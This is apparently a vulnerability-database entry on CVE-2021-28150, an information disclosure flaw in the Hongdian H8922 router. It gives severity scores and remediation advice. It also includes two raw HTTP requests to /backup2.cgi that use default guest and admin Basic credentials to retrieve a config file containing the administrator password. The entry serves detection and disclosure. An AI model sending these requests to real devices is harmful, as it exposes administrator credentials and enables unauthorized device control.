| Title | Hongdian H8922 3.0.5 - Information Disclosure |
|---|---|
| Author | gy741 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability can lead to the exposure of sensitive data, potentially compromising the confidentiality of the system and its users. |
| Remediation | Apply the latest security patch or update provided by Hongdian to fix the information disclosure vulnerability (CVE-2021-28150). |
| CVSS Score | 5.5 |
| EPSS Score | 0.78839 |
| CVE ID | CVE-2021-28150 |
| CWE ID | CWE-425 |
| Tags | cve2021 cve hongdian exposure vkev vuln |
Hongdian H8922 3.0.5 is susceptible to information disclosure. An attacker can access cli.conf (with the administrator password and other sensitive data) via /backup2.cgi and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /backup2.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Connection: close
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Accept-Encoding: gzip
GET /backup2.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Authorization: Basic YWRtaW46YWRtaW4=
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-28150.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-28150.pcap
N/AN/A